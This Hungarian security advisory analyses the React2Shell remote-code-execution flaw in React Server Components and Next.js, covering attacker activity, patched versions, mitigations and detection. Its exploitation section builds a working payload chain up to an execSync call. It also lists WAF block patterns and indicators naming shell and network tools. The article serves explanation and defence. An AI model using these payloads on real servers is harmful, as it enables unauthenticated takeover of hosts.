KRITIKUS BIZTONSÁGI RÉS: A React2Shell (CVE-2025-55182)
A React Server Components (RSC) architektúrájában felfedezett CVE-2025-55182 (vagy közismert nevén React2Shell vagy React4Shell) egy maximális súlyosságú (CVSS 10.0), nem hitelesített (unauthenticated) távoli kódfuttatási (RCE) sebezhetőség.
A helyzetet különösen súlyossá teszi, hogy a modern React SSR / Next.js App Router rendszerek túlnyomó része alapértelmezett konfigurációval is sérülékeny. Az RSC és a Server Actions felülete sok esetben úgy érhető el kívülről, hogy a fejlesztőcsapat nincs is tisztában a kitettséggel. A PoC-ek alapján az exploit-lánc triviálisan triggerelhető minden nem patch-elt végponton.
Aktuális fenyegetettségi helyzetkép
A december 3-i disclosure után az npm‑ökoszisztéma órák alatt kaotikus állapotba került. Az első, hitelesítést nem igénylő távoli kódfuttatást lehetővé tevő PoC‑ek még aznap este megjelentek, majd néhány órán belül több tucat klón és módosított exploit került fel GitHubra.
A nagy CDN‑szolgáltatók (pl. Fastly) éles forgalmi anomáliákat mértek, az AWS threat intelligence kínai APT‑aktivitást azonosított, a CISA pedig villámgyorsan „actively exploited" státuszba sorolta a sérülékenységet.
Forrás: Fastly Blog
A következő 24 órában a felhős RSC‑végpontokat (AWS, GCP, Vercel) botnet‑szerű infrastruktúrák kezdték pásztázni, és a React2Shell exploit‑láncot használva perceken belül automatizáltan vették át a hostok feletti kontrollt. Egy honeypot mindössze 6 perc alatt esett el: a támadó betöltötte a rosszindulatú chunk‑struktúrát, a thenable‑alapú primitiv segítségével távoli kódfuttatást ért el, majd RAM‑ból futtatta a Mirai‑eredetű „xmreow" kriptobányászt, amely önmagát törölte a diszkről, tisztán memóriában futva.
Ez a működésmód pontosan tükrözi a jelenlegi mintázatokat: a sérülékenység initial access pont, amelyet azonnali poszt‑exploitation lépések követnek.
A kompromittáció után
A telemetria alapján nem egyetlen szereplő aktív, hanem egy komplett, opportunista fenyegetési ökoszisztéma épült rá a CVE‑2025‑55182-re. A hostokra különféle célú implantok, C2‑beaconök és miner‑variánsok kerülnek, automatizált döntés alapján.
Leggyakoribb komponensek:
- Emerald/Nuts botnetek – Mirai‑variánsok kriptobányászattal és agresszív felhőszkenneléssel.
- Cobalt Strike / CrossC2 – klasszikus C2 beépülés AI‑generált shellkóddal, systemd‑szolgáltatásként elrejtve.
- Nezha – titkosítatlan, rejtetten telepített monitoring implant felderítéshez.
- Secret‑Hunter – fejlett poszt‑exploitation toolkit: Cloudflare Tunnels megkerülése, majd TruffleHog/Gitleaks futtatása fájlrendszeren, Git repókon, konténereken és S3‑on.
- Sliver – perzisztencia cron‑nal, gyakran cryptominerrel kombinálva.
- EtherRAT / Noodle RAT – APT‑szintű távoli vezérlő komponensek.
- BPFDoor – rendkívül rejtett Linux backdoor BPF‑szintű forgalommegfigyeléssel.
Fejlettebb kampányok további speciális backdoorokat is telepítenek:
- PeerBlight – BitTorrent DHT‑alapú C2, AES‑256/RSA titkosítással, [ksoftirqd] név mögé bújva.
- CowTunnel – reverse‑proxy implant (FRP, SOCKS5, HTTP) belső hálózatok távoli eléréséhez.
- ZinFoq – erősen obfuszkált Go‑payload timestompinggel és interaktív shelllel, legitim szolgáltatásnak álcázva.
A React2Shell tehát nem csupán a kriptobányászoknak kedvez; komplett kompromittációs lánc épülhet ki: initial access C2 kapcsolat kiépítéséhez, oldalirányú mozgás, adatlopás és backdoor‑telepítés. A patcheletlen RSC/Next.js rendszerek jelenleg percek alatt eshetnek át teljes kompromittáción.
A mintázat kísértetiesen hasonlít a Log4J sérülékenység kapcsán látottakra: disclosure → PoC → PoC-hullám → tömeges internetes szkennelés → aktív támadások. S mindez nagyjából 24 órán belül lezajlott.
Mit jelent mindez a gyakorlatban?
Ha a rendszered bármilyen ponton használ React RSC-t, a Flight protokollt, Next.js App Routert, streaminget vagy Server Action végpontokat, ezt azonnali incidensként kezeld:
- haladéktalanul frissíts (React RSC/Next.js érintett csomagok)
- ellenőrizd, hogy a javított build ténylegesen ki is került élesbe (a „merge" önmagában nem garancia)
- térképezd fel, mi érhető el kívülről, és nézd át a logokat kompromittáció nyomai után
A tömeges támadások elsődleges célpontjai azok a Next.js alkalmazások, amelyek alapértelmezett beállításokkal futnak, és így akaratlanul is elérhetővé teszik a Flight-dekódolási felületet – gyakran anélkül, hogy a fejlesztők tudnák, hogy ilyen endpoint egyáltalán létezik.
Érintett verziók
React Server Components
Érintett csomagok:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Javított verziók: 19.0.1, 19.1.2, 19.2.1
Next.js (App Router)
Érintett verziók:
- 14.3.0 pre-release verziók: 14.3.0-(pre-release).77 és későbbiek
- 15.x és 16.x (különösen 14.3.0‑canary.77-től felfelé)
Javított Next.js-verziók: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
A sérülékenység közvetlenül a React Flight protokollt használó csomagokat érinti, vagyis minden olyan rendszert, amely a React 19‑es ökoszisztéma szerveroldali komponenseire (RSC) épít. A teendő ezeknél: frissítés a keretrendszer legújabb, biztonsági javítással ellátott verziójára.
Technikai deep-dive
A React Server Functions és a mögöttük lévő React Flight Protocol szerializációja chunkokra (adatcsomagra) épít. A kliens egyszerű text formátumú chunkokat küld, amelyek hivatkozhatnak egymásra. A szervernek aztán vissza kell állítania összetett objektumstruktúrákat, akár többszintű referenciákkal. A probléma ott kezdődik, hogy a referenciák feloldásakor a React egyáltalán nem ellenőrzi, hogy a kért kulcs az objektum saját tulajdonsága-e.
Ha egy chunk egy másik chunkból egy nem létező property-t kér, a React szépen végigsétál
a JavaScript prototípus-láncon, és eljut egészen az Object.prototype-ig — ez a hiba
konkrétan a reviveModel egy funkciójában, a ReactFlightReplyServer.js-ben
található, ahol a keretrendszer egy kliens által küldött value.hasOwnProperty(i)-t hív
meg, így a támadó ezt shadowinggal felül tudja írni és megkerüli a kulcs-ellenőrzést. Innen a
feloldás könnyen elirányítható a globális objektumláncra, majd a constructor.constructor-ra, vagyis a Function konstruktorra.
A problémát tovább súlyosbítja az, hogy a szerveroldali visszafejtés során a Next.js a
legelső, 0-ás chunkot mindig await alá teszi. Ha ez az objektum tartalmaz egy then
kulcsot, a JavaScript thenable-szabályai miatt a rendszer automatikusan úgy kezeli, mintha
Promise lenne, és lefuttatja a then(resolve, reject) metódusát – külön ellenőrzés
vagy sandbox nélkül.
Egy sima { then: <tetszőleges érték> } így már elég ahhoz, hogy a
deszerializáció folyamata közben kódvégrehajtás menjen végbe.
A sérülékenység valódi ereje tehát abból jön, hogy a hibás kulcs-ellenőrzés miatt a
chunk-feloldás során elérhetővé válik a Function konstruktor, amihez normál esetben nem
lehetne hozzáférni. Ha a támadó ezt beépíti a then mezőbe, akkor a futtatott thenable már
tetszőleges JavaScript-kódot végrehajt — azelőtt, hogy a Next.js egyáltalán validálná, melyik
Server Action végpontot hívták meg.
Az exploitáció
A fentiek alapján már értjük, hogy a prototípus-lánc bejárása miatt a támadó közvetlenül el
tudja érni a Function konstruktort, és ez lehetővé teszi, hogy a deszerializáció során
tetszőleges JS kód generálódjon. A kérdés innentől az hogy hogyan lehet elérni azt, hogy ez
a kód meg is legyen hívva?
Vegyük az alábbi payload-ot:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
A fenti chunk a szerveroldalon (egy referencia-láncon keresztül) a Function konstruktorra
deszerializálódik. Itt még nem történik kódfuttatás, de már megvan a kulcs: a React a
szerveroldali modell-visszaállítás közben figyelmen kívül hagyja a prototype-határokat, és a
bejövő adatból egyenesen a JavaScript beépített konstruktoraihoz engedi a támadót.
Innét a következő kritikus tényező az, hogy a React minden olyan objektumot, amely
rendelkezik then property-vel, automatikusan thenable-ként kezel. Ez azt jelenti, hogy a
deszerializációs folyamatban - még mielőtt a szerver bármihez hozzányúlna - a React
lefuttatja az adott objektum .then() függvényét. A Next.js-ben ez a
decodeReplyFromBusboy visszatérési értékét érinti, amit a keretrendszer await-el hív
meg. A támadó tehát egyszerűen visszaadhat egy olyan objektumot, ahol a then mező nem
egy függvény, hanem egy referencia a Function konstruktorhoz, például így:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Ez önmagában ugyan még szintaktikai hibát eredményez, mert a V8 a thenable-t két natív
függvénnyel hívja (resolve, reject), amelyek stringgé alakítva belezavarnak a Function
konstruktor működésébe, de a lényeg már látszik: a szerveroldalon egy kliens által küldött
form-data elem .then() függvényként kerül meghívásra.
Ezen előző limitációt a React Flight chunkjainak manipulációjával lehet megkerülni,
mégpedig úgy, hogy a chunk saját .then() metódusa végül a React Chunk.prototype.then függvénye lesz.
Ehhez használható a Flight protokoll $@ prefixe, amely nyers chunkreferenciát ad vissza - vagyis nem a feloldott objektumot, hanem a chunk
belső reprezentációját. A támadó így saját chunkját visszahivatkoztathatja önmagára, és
közben átállíthatja a .then mezőt:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
A chunk saját .then() értéke tehát átíródik a Chunk.prototype.then-re, amelyet
normál esetben a React használ a modell-feldolgozásra. Így elértük, hogy a deszerializációs
lánc egy pontján a React a saját belső thenable-motorját futtassa le egy teljesen kontrollált
objektumon.
A következő kritikus feltétel a chunk státusza. Ha a támadó a chunkját status: "resolved_model" mezővel látja el, a React azt hiszi, hogy egy teljesen valid modellrész
érkezett, és továbblép a modell-inicializálásba:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Az initializeModelChunk újabb JSON-parszolást végez, majd egy második
reviveModel fut le, méghozzá egy jelentősen bővebb kontextusban, ahol a támadó
további referenciákat is becsatornázhat.
Ebben a környezetben található az egyik legerősebb kódfuttatási eszköz, a Flight $B prefix
kezelése, amely bináris/blob adatot kér le:
response._formData.get(response._prefix + obj)
Sem response, sem _formData, sem _prefix nincs validálva. Ezeket a támadó teljesen
tetszőleges objektummal töltheti fel. Ha _formData.get a Function konstruktorra mutat,
akkor a szerializáció közben a React konkrétan a következőt fogja meghívni:
Function("<támadó által megadott kód>")
Állítsuk be a hamisított chunk _response mezőjét:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
A $B0 miatt a React blobként kér le egy mezőt, ami azonnal a fenti hívássá áll össze:
Function("process.mainModule.require('child_process').execSync('calc'); // 0")
A parseModelString ezt a függvényt adja vissza a chunk új .then() értékeként, a
Next.js pedig automatikusan awaiteli — vagyis lefuttatja.
Ezzel megvan a teljes lánc: prototípus-escaping → Function konstruktor → thenable-átvétel → önhivatkozó chunk → belső thenable → $B gadget → RCE.
Detektálás és mitigáció
A React2Shell incidensek kezelése “teljes értékű” incident response-ot igényel, mert a sérülékenység kihasználása hitelesítést nem igénylő távoli kódfuttatáshoz vezet.
A védekezés első lépése az érintett szerverek azonnali izolálása, a naplók begyűjtése és minden titok (API-kulcsok, tokenek, felhőhozzáférések) azonnali rotálása.
A fertőzött környezet tisztogatása önmagában nem elegendő: a biztonságos helyreállítás egy ismerten tiszta, ellenőrzött image-ből történő újjáépítést igényel.
Ahogy a hivatalos React blogbejegyzés is említi, a sebezhetőség végleges megszüntetésének egyetlen módja a frissítés a gyártó által kiadott javított verziókra. Ez nem ajánlás, hanem kötelező lépés: minden más mitigáció csak átmeneti. Node-alapú környezetekben minimális kiegészítő védelmet jelenthet a futásidejű viselkedésfigyelés, de a támadások sebessége miatt a reakcióidő kritikus.
További védelmi stratégiák:
-
WAF-szűrés: ideiglenes vagy kiegészítő védelemként érdemes aktiválni a React2Shell-hez kiadott gyártói szabályokat (Cloudflare, Google Cloud Armor, Vercel).
A cél az olyan payload-elemek blokkolása, mint:
$@0,$@chunk hivatkozások,resolved_model,constructor:constructor,_formData.get, illetve kódfuttatási primitívek (execSync,Function(,child_process). - Edge Runtime megfontolása: érzékeny végpontoknál csökkenti az RCE-felületet, mivel nem tartalmaz Node.js API-kat.
- Server Action audit: minden RSC/Server Action végpontot auditálni kell, és kötelező a rate limiting alkalmazása.
Kompromittálódás tipikus jelei
React2Shell-incidenseknél több, jól körülhatárolható anomália jelenik meg:
- HTTP-réteg. WAF/LB logokban markáns jel az ismeretlen forrású Next-Action fejlécek felbukkanása. Ezek a Server Action endpointok nem várt, külső meghívását jelzik, és normál üzemben gyakorlatilag nem fordulnak elő.
- Payload-szint. A kérés törzsében a Flight-lánc manipulatív mintái jelennek meg:
$@0,$@1,resolved_model,constructor:constructor,_formData.get. Ezek egyértelmű indikátorai annak, hogy a támadó a React Flight deszerializációját próbálja kilőni. - Kódfuttatási primitívek. Sikeres láncfűzés után rendszerint előkerülnek a Node-szintű RCE-primitívek:
execSync,Function(),child_process. Ha ezek naplóban, stacktrace-ben vagy telemetry-ben látszanak, akkor a támadó már túljutott a protokollszintű bypasson. - Folyamatfa. A
nodevagynext-serverfolyamat alól váratlan shell-spawn (/bin/sh), illetve hálózati kliensek (curl,wget,nc) indítása klasszikus interaktív RCE-minta. Ez már egyértelmű poszt-exploitation. - Fájlrendszer-artefaktumok. Gyanús fájlok vagy dropperek jelenhetnek meg a tipikus ideiglenes vagy build-pathekben:
.next/,node_modules/.bin/,/tmp,/var/tmp. Ezek jellemzően perzisztencia-kísérlet vagy további payload-letöltés lenyomatai.
A javítás technikai részletei
A végleges patch lényege a deszerializációs primitív keményítése. A rendszer modul‑betöltéskor cache‑eli a hasOwnProperty referenciát, majd a deszerializáció során mindenhol a hasOwnProperty.call(value, key) hívást alkalmazza. Ez explicit módon megkerüli a nem megbízható objektumokon végzett tulajdonságkeresést, lezárva azt az útvonalat, amelyen keresztül a támadók a prototípus‑láncot manipulálták. A javítás ezen felül explicit védelmet vezet be a __proto__ tulajdonság kezelésére is.
